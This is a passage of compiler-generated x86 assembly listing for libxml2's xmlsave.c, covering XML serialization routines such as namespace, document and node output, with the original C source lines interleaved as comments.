call _xmlOutputBufferWriteWSNonSig
add esp, 8
jmp SHORT $LN7@xmlNsDumpO
$LN6@xmlNsDumpO:
; 640 : else
; 641 : xmlOutputBufferWrite(buf, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push esi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN7@xmlNsDumpO:
; 642 :
; 643 : /* Within the context of an element attributes */
; 644 : if (cur->prefix != NULL) {
cmp DWORD PTR [edi+12], 0
je SHORT $LN8@xmlNsDumpO
; 645 : xmlOutputBufferWrite(buf, 6, "xmlns:");
push OFFSET ??_C@_06PNFLLAEF@xmlns?3@
push 6
push esi
call _xmlOutputBufferWrite
; 646 : xmlOutputBufferWriteString(buf, (const char *)cur->prefix);
push DWORD PTR [edi+12]
push esi
call _xmlOutputBufferWriteString
add esp, 20 ; 00000014H
; 647 : } else
jmp SHORT $LN9@xmlNsDumpO
$LN8@xmlNsDumpO:
; 648 : xmlOutputBufferWrite(buf, 5, "xmlns");
push OFFSET ??_C@_05PPEFOGKI@xmlns@
push 5
push esi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN9@xmlNsDumpO:
; 649 : xmlOutputBufferWrite(buf, 1, "=");
push OFFSET ??_C@_01NEMOKFLO@?$DN@
push 1
push esi
call _xmlOutputBufferWrite
; 650 : xmlBufWriteQuotedString(buf->buffer, cur->href);
push DWORD PTR [edi+8]
push DWORD PTR [esi+16]
call _xmlBufWriteQuotedString
add esp, 20 ; 00000014H
$LN11@xmlNsDumpO:
pop esi
$LN3@xmlNsDumpO:
pop edi
; 651 : }
; 652 : }
pop ebp
ret 0
_xmlNsDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlOutputBufferWriteWSNonSig
_TEXT SEGMENT
_ctxt$ = 8 ; size = 4
_extra$ = 12 ; size = 4
_xmlOutputBufferWriteWSNonSig PROC ; COMDAT
; 608 : {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
test esi, esi
je SHORT $LN6@xmlOutputB
; 609 : int i;
; 610 : if ((ctxt == NULL) || (ctxt->buf == NULL))
mov eax, DWORD PTR [esi+24]
test eax, eax
je SHORT $LN6@xmlOutputB
; 611 : return;
; 612 : xmlOutputBufferWrite(ctxt->buf, 1, "\n");
push ebx
push edi
push OFFSET ??_C@_01EEMJAFIK@?6@
push 1
push eax
call _xmlOutputBufferWrite
; 613 : for (i = 0; i < (ctxt->level + extra); i += ctxt->indent_nr) {
mov ecx, DWORD PTR [esi+36]
add esp, 12 ; 0000000cH
mov ebx, DWORD PTR _extra$[ebp]
xor edi, edi
lea eax, DWORD PTR [ecx+ebx]
test eax, eax
jle SHORT $LN14@xmlOutputB
mov edx, DWORD PTR [esi+108]
lea eax, DWORD PTR [esi+44]
$LL4@xmlOutputB:
; 614 : xmlOutputBufferWrite(ctxt->buf, ctxt->indent_size *
sub ecx, edi
add ecx, ebx
cmp ecx, edx
push eax
cmovle edx, ecx
imul edx, DWORD PTR [esi+112]
push edx
push DWORD PTR [esi+24]
call _xmlOutputBufferWrite
mov ecx, DWORD PTR [esi+36]
add esp, 12 ; 0000000cH
mov edx, DWORD PTR [esi+108]
add edi, edx
lea eax, DWORD PTR [ecx+ebx]
cmp edi, eax
lea eax, DWORD PTR [esi+44]
jl SHORT $LL4@xmlOutputB
$LN14@xmlOutputB:
pop edi
pop ebx
$LN6@xmlOutputB:
pop esi
; 615 : ((ctxt->level + extra - i) > ctxt->indent_nr ?
; 616 : ctxt->indent_nr : (ctxt->level + extra - i)),
; 617 : ctxt->indent);
; 618 : }
; 619 : }
pop ebp
ret 0
_xmlOutputBufferWriteWSNonSig ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlDocContentDumpOutput
_TEXT SEGMENT
_oldescapeAttr$1$ = -20 ; size = 4
_oldescape$1$ = -16 ; size = 4
_switched_encoding$1$ = -12 ; size = 4
_oldenc$1$ = -8 ; size = 4
_oldctxtenc$1$ = -4 ; size = 4
_is_xhtml$2$ = 8 ; size = 4
_ctxt$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlDocContentDumpOutput PROC ; COMDAT
; 1102 : xmlDocContentDumpOutput(xmlSaveCtxtPtr ctxt, xmlDocPtr cur) {
push ebp
mov ebp, esp
sub esp, 20 ; 00000014H
push ebx
push esi
push edi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR _cur$[ebp]
mov DWORD PTR _switched_encoding$1$[ebp], 0
mov ebx, DWORD PTR [esi+24]
mov eax, DWORD PTR [eax+60]
mov DWORD PTR _oldenc$1$[ebp], eax
mov eax, DWORD PTR [esi+16]
mov edi, eax
mov DWORD PTR _oldctxtenc$1$[ebp], eax
mov eax, DWORD PTR [esi+116]
mov DWORD PTR _oldescape$1$[ebp], eax
mov eax, DWORD PTR [esi+120]
mov DWORD PTR _oldescapeAttr$1$[ebp], eax
call _xmlInitParser
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR [eax+4]
cmp ecx, 13 ; 0000000dH
je SHORT $LN6@xmlDocCont
; 1103 : #ifdef LIBXML_HTML_ENABLED
; 1104 : xmlDtdPtr dtd;
; 1105 : int is_xhtml = 0;
; 1106 : #endif
; 1107 : const xmlChar *oldenc = cur->encoding;
; 1108 : const xmlChar *oldctxtenc = ctxt->encoding;
; 1109 : const xmlChar *encoding = ctxt->encoding;
; 1110 : xmlCharEncodingOutputFunc oldescape = ctxt->escape;
; 1111 : xmlCharEncodingOutputFunc oldescapeAttr = ctxt->escapeAttr;
; 1112 : xmlOutputBufferPtr buf = ctxt->buf;
; 1113 : xmlCharEncoding enc;
; 1114 : int switched_encoding = 0;
; 1115 :
; 1116 : xmlInitParser();
; 1117 :
; 1118 : if ((cur->type != XML_HTML_DOCUMENT_NODE) &&
cmp ecx, 9
jne $LN56@xmlDocCont
$LN6@xmlDocCont:
; 1119 : (cur->type != XML_DOCUMENT_NODE))
; 1120 : return(-1);
; 1121 :
; 1122 : if (ctxt->encoding != NULL) {
mov edx, DWORD PTR [esi+16]
test edx, edx
je SHORT $LN7@xmlDocCont
; 1123 : cur->encoding = BAD_CAST ctxt->encoding;
mov DWORD PTR [eax+60], edx
jmp SHORT $LN9@xmlDocCont
$LN7@xmlDocCont:
; 1124 : } else if (cur->encoding != NULL) {
mov eax, DWORD PTR [eax+60]
test eax, eax
cmovne edi, eax
mov eax, DWORD PTR _cur$[ebp]
$LN9@xmlDocCont:
; 1125 : encoding = cur->encoding;
; 1126 : }
; 1127 :
; 1128 : if (((cur->type == XML_HTML_DOCUMENT_NODE) &&
; 1129 : ((ctxt->options & XML_SAVE_AS_XML) == 0) &&
; 1130 : ((ctxt->options & XML_SAVE_XHTML) == 0)) ||
cmp ecx, 13 ; 0000000dH
jne SHORT $LN51@xmlDocCont
test BYTE PTR [esi+32], 48 ; 00000030H
je SHORT $LN12@xmlDocCont
$LN51@xmlDocCont:
mov edx, DWORD PTR [esi+32]
test dl, 64 ; 00000040H
je SHORT $LN10@xmlDocCont
$LN12@xmlDocCont:
; 1131 : (ctxt->options & XML_SAVE_AS_HTML)) {
; 1132 : #ifdef LIBXML_HTML_ENABLED
; 1133 : if (encoding != NULL)
test edi, edi
je SHORT $LN49@xmlDocCont
; 1134 : htmlSetMetaEncoding(cur, (const xmlChar *) encoding);
push edi
push eax
call _htmlSetMetaEncoding
add esp, 8
; 1135 : if (encoding == NULL)
jmp SHORT $LN16@xmlDocCont
$LN49@xmlDocCont:
; 1136 : encoding = htmlGetMetaEncoding(cur);
push eax
call _htmlGetMetaEncoding
add esp, 4
; 1137 : if (encoding == NULL)
mov edi, OFFSET ??_C@_04DBLPJNAF@HTML@
test eax, eax
cmovne edi, eax
$LN16@xmlDocCont:
; 1138 : encoding = BAD_CAST "HTML";
; 1139 : if ((encoding != NULL) && (oldctxtenc == NULL) &&
; 1140 : (buf->encoder == NULL) && (buf->conv == NULL)) {
cmp DWORD PTR _oldctxtenc$1$[ebp], 0
jne SHORT $LN18@xmlDocCont
cmp DWORD PTR [ebx+12], 0
jne SHORT $LN18@xmlDocCont
cmp DWORD PTR [ebx+20], 0
jne SHORT $LN18@xmlDocCont
; 1141 : if (xmlSaveSwitchEncoding(ctxt, (const char*) encoding) < 0) {
push edi
push esi
call _xmlSaveSwitchEncoding
add esp, 8
test eax, eax
js SHORT $LN52@xmlDocCont
$LN18@xmlDocCont:
; 1142 : cur->encoding = oldenc;
; 1143 : return(-1);
; 1144 : }
; 1145 : }
; 1146 : if (ctxt->options & XML_SAVE_FORMAT)
mov eax, DWORD PTR [esi+32]
and eax, 1
; 1147 : htmlDocContentDumpFormatOutput(buf, cur,
; 1148 : (const char *)encoding, 1);
; 1149 : else
; 1150 : htmlDocContentDumpFormatOutput(buf, cur,
; 1151 : (const char *)encoding, 0);
; 1152 : if (ctxt->encoding != NULL)
push eax
push edi
mov edi, DWORD PTR _cur$[ebp]
push edi
push ebx
call _htmlDocContentDumpFormatOutput
add esp, 16 ; 00000010H
cmp DWORD PTR [esi+16], 0
je $LN21@xmlDocCont
; 1153 : cur->encoding = oldenc;
mov ecx, DWORD PTR _oldenc$1$[ebp]
; 1247 : return(0);
; 1248 : }
xor eax, eax
mov DWORD PTR [edi+60], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN10@xmlDocCont:
; 1154 : return(0);
; 1155 : #else
; 1156 : return(-1);
; 1157 : #endif
; 1158 : } else if ((cur->type == XML_DOCUMENT_NODE) ||
; 1159 : (ctxt->options & XML_SAVE_AS_XML) ||
cmp ecx, 9
je SHORT $LN23@xmlDocCont
test dl, 48 ; 00000030H
je $LN42@xmlDocCont
$LN23@xmlDocCont:
; 1160 : (ctxt->options & XML_SAVE_XHTML)) {
; 1161 : enc = xmlParseCharEncoding((const char*) encoding);
push edi
call _xmlParseCharEncoding
add esp, 4
; 1162 : if ((encoding != NULL) && (oldctxtenc == NULL) &&
; 1163 : (buf->encoder == NULL) && (buf->conv == NULL) &&
test edi, edi
je SHORT $LN28@xmlDocCont
cmp DWORD PTR _oldctxtenc$1$[ebp], 0
jne SHORT $LN28@xmlDocCont
cmp DWORD PTR [ebx+12], 0
jne SHORT $LN28@xmlDocCont
cmp DWORD PTR [ebx+20], 0
jne SHORT $LN28@xmlDocCont
test BYTE PTR [esi+32], 2
jne SHORT $LN28@xmlDocCont
; 1164 : ((ctxt->options & XML_SAVE_NO_DECL) == 0)) {
; 1165 : if ((enc != XML_CHAR_ENCODING_UTF8) &&
; 1166 : (enc != XML_CHAR_ENCODING_NONE) &&
cmp eax, 1
je SHORT $LN25@xmlDocCont
test eax, eax
je SHORT $LN25@xmlDocCont
cmp eax, 22 ; 00000016H
je SHORT $LN25@xmlDocCont
; 1167 : (enc != XML_CHAR_ENCODING_ASCII)) {
; 1168 : /*
; 1169 : * we need to switch to this encoding but just for this
; 1170 : * document since we output the XMLDecl the conversion
; 1171 : * must be done to not generate not well formed documents.
; 1172 : */
; 1173 : if (xmlSaveSwitchEncoding(ctxt, (const char*) encoding) < 0) {
push edi
push esi
call _xmlSaveSwitchEncoding
add esp, 8
test eax, eax
jns SHORT $LN26@xmlDocCont
$LN52@xmlDocCont:
; 1174 : cur->encoding = oldenc;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR _oldenc$1$[ebp]
mov DWORD PTR [eax+60], ecx
$LN56@xmlDocCont:
; 1247 : return(0);
; 1248 : }
pop edi
pop esi
or eax, -1
pop ebx
mov esp, ebp
pop ebp
ret 0
$LN26@xmlDocCont:
; 1175 : return(-1);
; 1176 : }
; 1177 : switched_encoding = 1;
mov DWORD PTR _switched_encoding$1$[ebp], 1
$LN25@xmlDocCont:
; 1178 : }
; 1179 : if (ctxt->escape == xmlEscapeEntities)
cmp DWORD PTR [esi+116], OFFSET _xmlEscapeEntities
jne SHORT $LN27@xmlDocCont
; 1180 : ctxt->escape = NULL;
mov DWORD PTR [esi+116], 0
$LN27@xmlDocCont:
; 1181 : if (ctxt->escapeAttr == xmlEscapeEntities)
cmp DWORD PTR [esi+120], OFFSET _xmlEscapeEntities
jne SHORT $LN28@xmlDocCont
; 1182 : ctxt->escapeAttr = NULL;
mov DWORD PTR [esi+120], 0
$LN28@xmlDocCont:
; 1183 : }
; 1184 :
; 1185 :
; 1186 : /*
; 1187 : * Save the XML declaration
; 1188 : */
; 1189 : if ((ctxt->options & XML_SAVE_NO_DECL) == 0) {
mov ecx, DWORD PTR [esi+32]
test cl, 2
jne $LN53@xmlDocCont
; 1190 : xmlOutputBufferWrite(buf, 14, "<?xml version=");
push OFFSET ??_C@_0P@CNJADHFP@?$DM?$DPxml?5version?$DN@
push 14 ; 0000000eH
push ebx
call _xmlOutputBufferWrite
; 1191 : if (cur->version != NULL)
mov eax, DWORD PTR _cur$[ebp]
add esp, 12 ; 0000000cH
mov eax, DWORD PTR [eax+56]
test eax, eax
je SHORT $LN30@xmlDocCont
; 1192 : xmlBufWriteQuotedString(buf->buffer, cur->version);
push eax
push DWORD PTR [ebx+16]
call _xmlBufWriteQuotedString
add esp, 8
jmp SHORT $LN31@xmlDocCont
$LN30@xmlDocCont:
; 1193 : else
; 1194 : xmlOutputBufferWrite(buf, 5, "\"1.0\"");
push OFFSET ??_C@_05FLCMBAOK@?$CC1?40?$CC@
push 5
push ebx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN31@xmlDocCont:
; 1195 : if (encoding != NULL) {
test edi, edi
je SHORT $LN32@xmlDocCont
; 1196 : xmlOutputBufferWrite(buf, 10, " encoding=");
push OFFSET ??_C@_0L@GJNPICMJ@?5encoding?$DN@
push 10 ; 0000000aH
push ebx
call _xmlOutputBufferWrite
; 1197 : xmlBufWriteQuotedString(buf->buffer, (xmlChar *) encoding);
push edi
push DWORD PTR [ebx+16]
call _xmlBufWriteQuotedString
add esp, 20 ; 00000014H
$LN32@xmlDocCont:
; 1198 : }
; 1199 : switch (cur->standalone) {
mov edi, DWORD PTR _cur$[ebp]
mov eax, DWORD PTR [edi+40]
sub eax, 0
je SHORT $LN33@xmlDocCont
sub eax, 1
jne SHORT $LN2@xmlDocCont
; 1202 : break;
; 1203 : case 1:
; 1204 : xmlOutputBufferWrite(buf, 17, " standalone=\"yes\"");
push OFFSET ??_C@_0BC@MEICOMAE@?5standalone?$DN?$CCyes?$CC@
push 17 ; 00000011H
jmp SHORT $LN54@xmlDocCont
$LN33@xmlDocCont:
; 1200 : case 0:
; 1201 : xmlOutputBufferWrite(buf, 16, " standalone=\"no\"");
push OFFSET ??_C@_0BB@FFDPHLPI@?5standalone?$DN?$CCno?$CC@
push 16 ; 00000010H
$LN54@xmlDocCont:
; 1205 : break;
; 1206 : }
; 1207 : xmlOutputBufferWrite(buf, 3, "?>\n");
push ebx
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN2@xmlDocCont:
push OFFSET ??_C@_03KCOJOIAE@?$DP?$DO?6@
push 3
push ebx
call _xmlOutputBufferWrite
mov ecx, DWORD PTR [esi+32]
add esp, 12 ; 0000000cH
jmp SHORT $LN29@xmlDocCont
$LN53@xmlDocCont:
; 1183 : }
; 1184 :
; 1185 :
; 1186 : /*
; 1187 : * Save the XML declaration
; 1188 : */
; 1189 : if ((ctxt->options & XML_SAVE_NO_DECL) == 0) {
mov edi, DWORD PTR _cur$[ebp]
$LN29@xmlDocCont:
; 1208 : }
; 1209 :
; 1210 : #ifdef LIBXML_HTML_ENABLED
; 1211 : if (ctxt->options & XML_SAVE_XHTML)
mov eax, ecx
shr eax, 4
and eax, 1
mov DWORD PTR _is_xhtml$2$[ebp], eax
; 1212 : is_xhtml = 1;
; 1213 : if ((ctxt->options & XML_SAVE_NO_XHTML) == 0) {
test cl, 8
jne SHORT $LN38@xmlDocCont
; 1214 : dtd = xmlGetIntSubset(cur);
push edi
call _xmlGetIntSubset
mov ecx, eax
add esp, 4
mov eax, DWORD PTR _is_xhtml$2$[ebp]
mov DWORD PTR _is_xhtml$2$[ebp], eax
; 1215 : if (dtd != NULL) {
test ecx, ecx
je SHORT $LN38@xmlDocCont
; 1216 : is_xhtml = xmlIsXHTML(dtd->SystemID, dtd->ExternalID);
push DWORD PTR [ecx+52]
push DWORD PTR [ecx+56]
call _xmlIsXHTML
; 1217 : if (is_xhtml < 0) is_xhtml = 0;
xor ecx, ecx
add esp, 8
test eax, eax
cmovs eax, ecx
mov DWORD PTR _is_xhtml$2$[ebp], eax
$LN38@xmlDocCont:
; 1218 : }
; 1219 : }
; 1220 : #endif
; 1221 : if (cur->children != NULL) {
mov edi, DWORD PTR [edi+12]
test edi, edi
je SHORT $LN5@xmlDocCont
$LL4@xmlDocCont:
; 1222 : xmlNodePtr child = cur->children;
; 1223 :
; 1224 : while (child != NULL) {
; 1225 : ctxt->level = 0;
mov DWORD PTR [esi+36], 0
; 1226 : #ifdef LIBXML_HTML_ENABLED
; 1227 : if (is_xhtml)
push edi
push esi
test eax, eax
je SHORT $LN40@xmlDocCont
; 1228 : xhtmlNodeDumpOutput(ctxt, child);
call _xhtmlNodeDumpOutput
jmp SHORT $LN55@xmlDocCont
$LN40@xmlDocCont:
; 1229 : else
; 1230 : #endif
; 1231 : xmlNodeDumpOutputInternal(ctxt, child);
call _xmlNodeDumpOutputInternal
$LN55@xmlDocCont:
; 1232 : xmlOutputBufferWrite(buf, 1, "\n");
add esp, 8
push OFFSET ??_C@_01EEMJAFIK@?6@
push 1
push ebx
call _xmlOutputBufferWrite
; 1233 : child = child->next;
mov edi, DWORD PTR [edi+24]
add esp, 12 ; 0000000cH
mov eax, DWORD PTR _is_xhtml$2$[ebp]
test edi, edi
jne SHORT $LL4@xmlDocCont
$LN5@xmlDocCont:
; 1234 : }
; 1235 : }
; 1236 : }
; 1237 :
; 1238 : /*
; 1239 : * Restore the state of the saving context at the end of the document
; 1240 : */
; 1241 : if ((switched_encoding) && (oldctxtenc == NULL)) {
cmp DWORD PTR _switched_encoding$1$[ebp], 0
je SHORT $LN42@xmlDocCont
cmp DWORD PTR _oldctxtenc$1$[ebp], 0
jne SHORT $LN42@xmlDocCont
; 1242 : xmlSaveClearEncoding(ctxt);
push esi
call _xmlSaveClearEncoding
; 1243 : ctxt->escape = oldescape;
mov eax, DWORD PTR _oldescape$1$[ebp]
add esp, 4
mov DWORD PTR [esi+116], eax
; 1244 : ctxt->escapeAttr = oldescapeAttr;
mov eax, DWORD PTR _oldescapeAttr$1$[ebp]
mov DWORD PTR [esi+120], eax
$LN42@xmlDocCont:
; 1245 : }
; 1246 : cur->encoding = oldenc;
mov eax, DWORD PTR _cur$[ebp]
mov ecx, DWORD PTR _oldenc$1$[ebp]
mov DWORD PTR [eax+60], ecx
$LN21@xmlDocCont:
; 1247 : return(0);
; 1248 : }
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0
_xmlDocContentDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNsListDumpOutput
_TEXT SEGMENT
_buf$ = 8 ; size = 4
_cur$ = 12 ; size = 4
_xmlNsListDumpOutput PROC ; COMDAT
; 692 : xmlNsListDumpOutput(xmlOutputBufferPtr buf, xmlNsPtr cur) {
push ebp
mov ebp, esp
push esi
mov ecx, OFFSET __BAD788A4_xmlsave@c
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _cur$[ebp]
test esi, esi
je $LN3@xmlNsListD
push edi
mov edi, DWORD PTR _buf$[ebp]
$LN20@xmlNsListD:
; 633 : if ((cur == NULL) || (buf == NULL)) return;
test edi, edi
je SHORT $LN7@xmlNsListD
; 634 : if ((cur->type == XML_LOCAL_NAMESPACE) && (cur->href != NULL)) {
cmp DWORD PTR [esi+4], 18 ; 00000012H
jne SHORT $LN7@xmlNsListD
cmp DWORD PTR [esi+8], 0
je SHORT $LN7@xmlNsListD
; 635 : if (xmlStrEqual(cur->prefix, BAD_CAST "xml"))
push OFFSET ??_C@_03PJHHNEEI@xml@
push DWORD PTR [esi+12]
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN7@xmlNsListD
; 636 : return;
; 637 :
; 638 : if (ctxt != NULL && ctxt->format == 2)
; 639 : xmlOutputBufferWriteWSNonSig(ctxt, 2);
; 640 : else
; 641 : xmlOutputBufferWrite(buf, 1, " ");
push OFFSET ??_C@_01CLKCMJKC@?5@
push 1
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
; 642 :
; 643 : /* Within the context of an element attributes */
; 644 : if (cur->prefix != NULL) {
cmp DWORD PTR [esi+12], 0
je SHORT $LN12@xmlNsListD
; 645 : xmlOutputBufferWrite(buf, 6, "xmlns:");
push OFFSET ??_C@_06PNFLLAEF@xmlns?3@
push 6
push edi
call _xmlOutputBufferWrite
; 646 : xmlOutputBufferWriteString(buf, (const char *)cur->prefix);
push DWORD PTR [esi+12]
push edi
call _xmlOutputBufferWriteString
add esp, 20 ; 00000014H
; 647 : } else
jmp SHORT $LN13@xmlNsListD
$LN12@xmlNsListD:
; 648 : xmlOutputBufferWrite(buf, 5, "xmlns");
push OFFSET ??_C@_05PPEFOGKI@xmlns@
push 5
push edi
call _xmlOutputBufferWrite
add esp, 12 ; 0000000cH
$LN13@xmlNsListD:
; 649 : xmlOutputBufferWrite(buf, 1, "=");
push OFFSET ??_C@_01NEMOKFLO@?$DN@
push 1
push edi
call _xmlOutputBufferWrite
; 650 : xmlBufWriteQuotedString(buf->buffer, cur->href);
push DWORD PTR [esi+8]
push DWORD PTR [edi+16]
call _xmlBufWriteQuotedString
add esp, 20 ; 00000014H
$LN7@xmlNsListD:
; 693 : while (cur != NULL) {
; 694 : xmlNsDumpOutput(buf, cur, NULL);
; 695 : cur = cur->next;
mov esi, DWORD PTR [esi]
test esi, esi
jne $LN20@xmlNsListD
pop edi
$LN3@xmlNsListD:
pop esi
; 696 : }
; 697 : }
pop ebp
ret 0
_xmlNsListDumpOutput ENDP
_TEXT ENDS
; Function compile flags: /Ogtp
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlsave.c
; COMDAT _xmlNodeDumpOutputInternal
_TEXT SEGMENT
_oldenc$1$ = -16 ; size = 4
_format$1$ = -16 ; size = 4
_doc$1$ = -12 ; size = 4
_oldctxtenc$1$ = -8 ; size = 4
_switched_encoding$1$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_encoding$1$ = 12 ; size = 4
_cur$ = 12 ; size = 4
_xmlNodeDumpOutputInternal PROC ; COMDAT
; 900 : xmlNodeDumpOutputInternal(xmlSaveCtxtPtr ctxt, xmlNodePtr cur) {
push ebp
mov ebp, esp
sub esp, 16 ; 00000010H
mov ecx, OFFSET __BAD788A4_xmlsave@c
push esi
call @__CheckForDebuggerJustMyCode@4
mov esi, DWORD PTR _cur$[ebp]
test esi, esi
je $LN1@xmlNodeDum
; 901 : int format;
; 902 : xmlNodePtr tmp;
; 903 : xmlChar *start, *end;
; 904 : xmlOutputBufferPtr buf;
; 905 :
; 906 : if (cur == NULL) return;
; 907 : buf = ctxt->buf;
mov eax, DWORD PTR [esi+4]
push ebx
mov ebx, DWORD PTR _ctxt$[ebp]
push edi
mov edi, DWORD PTR [ebx+24]
; 908 : if (cur->type == XML_XINCLUDE_START)
cmp eax, 19 ; 00000013H
je $LN238@xmlNodeDum
; 909 : return;
; 910 : if (cur->type == XML_XINCLUDE_END)
cmp eax, 20 ; 00000014H
je $LN238@xmlNodeDum
; 911 : return;
; 912 : if ((cur->type == XML_DOCUMENT_NODE) ||
cmp eax, 9
je $LN10@xmlNodeDum
cmp eax, 13 ; 0000000dH
je $LN10@xmlNodeDum
; 915 : return;
; 916 : }
; 917 : #ifdef LIBXML_HTML_ENABLED
; 918 : if (ctxt->options & XML_SAVE_XHTML) {
mov ecx, DWORD PTR [ebx+32]
test cl, 16 ; 00000010H
je SHORT $LN11@xmlNodeDum
; 919 : xhtmlNodeDumpOutput(ctxt, cur);
push esi
push ebx
call _xhtmlNodeDumpOutput
add esp, 8
pop edi
pop ebx
pop esi
; 1093 : }
mov esp, ebp
pop ebp
ret 0
$LN11@xmlNodeDum:
; 920 : return;
; 921 : }
; 922 : if (((cur->type != XML_NAMESPACE_DECL) && (cur->doc != NULL) &&
; 923 : (cur->doc->type == XML_HTML_DOCUMENT_NODE) &&
; 924 : ((ctxt->options & XML_SAVE_AS_XML) == 0)) ||
cmp eax, 18 ; 00000012H
je SHORT $LN14@xmlNodeDum
mov edx, DWORD PTR [esi+32]
test edx, edx
je SHORT $LN14@xmlNodeDum
cmp DWORD PTR [edx+4], 13 ; 0000000dH
jne SHORT $LN14@xmlNodeDum
test cl, 32 ; 00000020H
je SHORT $LN13@xmlNodeDum
$LN14@xmlNodeDum:
test cl, 64 ; 00000040H
je $LN12@xmlNodeDum
$LN13@xmlNodeDum:
; 843 : const xmlChar *oldctxtenc = ctxt->encoding;
mov eax, DWORD PTR [ebx+16]
mov DWORD PTR _oldenc$1$[ebp], 0
mov DWORD PTR _oldctxtenc$1$[ebp], eax
; 844 : const xmlChar *encoding = ctxt->encoding;
mov DWORD PTR _encoding$1$[ebp], eax
; 845 : xmlOutputBufferPtr buf = ctxt->buf;
; 846 : int switched_encoding = 0;
mov DWORD PTR _switched_encoding$1$[ebp], 0
; 847 : xmlDocPtr doc;
; 848 :
; 849 : xmlInitParser();
call _xmlInitParser
; 850 :
; 851 : doc = cur->doc;
mov eax, DWORD PTR [esi+32]
mov DWORD PTR _doc$1$[ebp], eax
; 852 : if (doc != NULL) {
test eax, eax
je SHORT $LN237@xmlNodeDum
; 853 : oldenc = doc->encoding;
; 854 : if (ctxt->encoding != NULL) {
mov ecx, DWORD PTR [ebx+16]
mov edx, DWORD PTR [eax+60]
mov DWORD PTR _oldenc$1$[ebp], edx
test ecx, ecx
je SHORT $LN199@xmlNodeDum
; 855 : doc->encoding = BAD_CAST ctxt->encoding;
mov DWORD PTR [eax+60], ecx
$LN237@xmlNodeDum:
; 857 : encoding = doc->encoding;
; 858 : }
; 859 : }
; 860 :
; 861 : if ((encoding != NULL) && (doc != NULL))
mov ecx, DWORD PTR _encoding$1$[ebp]
$LN201@xmlNodeDum:
test ecx, ecx
je SHORT $LN231@xmlNodeDum
test eax, eax
je SHORT $LN204@xmlNodeDum
; 862 : htmlSetMetaEncoding(doc, (const xmlChar *) encoding);
push ecx
push eax
call _htmlSetMetaEncoding
; 863 : if ((encoding == NULL) && (doc != NULL))
mov ecx, DWORD PTR _encoding$1$[ebp]
add esp, 8
jmp SHORT $LN204@xmlNodeDum
$LN199@xmlNodeDum:
; 856 : } else if (doc->encoding != NULL) {
mov ecx, DWORD PTR _encoding$1$[ebp]
test edx, edx
cmovne ecx, edx
mov DWORD PTR _encoding$1$[ebp], ecx
jmp SHORT $LN201@xmlNodeDum
$LN231@xmlNodeDum:
; 863 : if ((encoding == NULL) && (doc != NULL))
test eax, eax
je SHORT $LN232@xmlNodeDum
; 864 : encoding = htmlGetMetaEncoding(doc);
push eax
call _htmlGetMetaEncoding
mov ecx, eax
add esp, 4
mov DWORD PTR _encoding$1$[ebp], ecx
; 865 : if (encoding == NULL)
test ecx, ecx
jne SHORT $LN204@xmlNodeDum
$LN232@xmlNodeDum:
; 866 : encoding = BAD_CAST "HTML";
mov ecx, OFFSET ??_C@_04DBLPJNAF@HTML@
mov DWORD PTR _encoding$1$[ebp], ecx
$LN204@xmlNodeDum:
; 867 : if ((encoding != NULL) && (oldctxtenc == NULL) &&
; 868 : (buf->encoder == NULL) && (buf->conv == NULL)) {
cmp DWORD PTR _oldctxtenc$1$[ebp], 0
jne SHORT $LN205@xmlNodeDum
cmp DWORD PTR [edi+12], 0
jne SHORT $LN205@xmlNodeDum
cmp DWORD PTR [edi+20], 0
jne SHORT $LN205@xmlNodeDum
; 869 : if (xmlSaveSwitchEncoding(ctxt, (const char*) encoding) < 0) {
push ecx
push ebx
call _xmlSaveSwitchEncoding
add esp, 8
test eax, eax
js SHORT $LN236@xmlNodeDum
; 870 : doc->encoding = oldenc;
; 871 : return(-1);
; 872 : }
; 873 : switched_encoding = 1;
mov DWORD PTR _switched_encoding$1$[ebp], 1
$LN205@xmlNodeDum:
; 874 : }
; 875 : if (ctxt->options & XML_SAVE_FORMAT)
mov eax, DWORD PTR [ebx+32]
and eax, 1
; 876 : htmlNodeDumpFormatOutput(buf, doc, cur,
; 877 : (const char *)encoding, 1);
; 878 : else
; 879 : htmlNodeDumpFormatOutput(buf, doc, cur,
; 880 : (const char *)encoding, 0);
; 881 : /*
; 882 : * Restore the state of the saving context at the end of the document
; 883 : */
; 884 : if ((switched_encoding) && (oldctxtenc == NULL)) {
push eax
mov eax, DWORD PTR _encoding$1$[ebp]
push eax
push esi
mov esi, DWORD PTR _doc$1$[ebp]
push esi
push edi
call _htmlNodeDumpFormatOutput
add esp, 20 ; 00000014H
cmp DWORD PTR _switched_encoding$1$[ebp], 0
je SHORT $LN209@xmlNodeDum
cmp DWORD PTR _oldctxtenc$1$[ebp], 0
jne SHORT $LN209@xmlNodeDum
; 885 : xmlSaveClearEncoding(ctxt);
push ebx
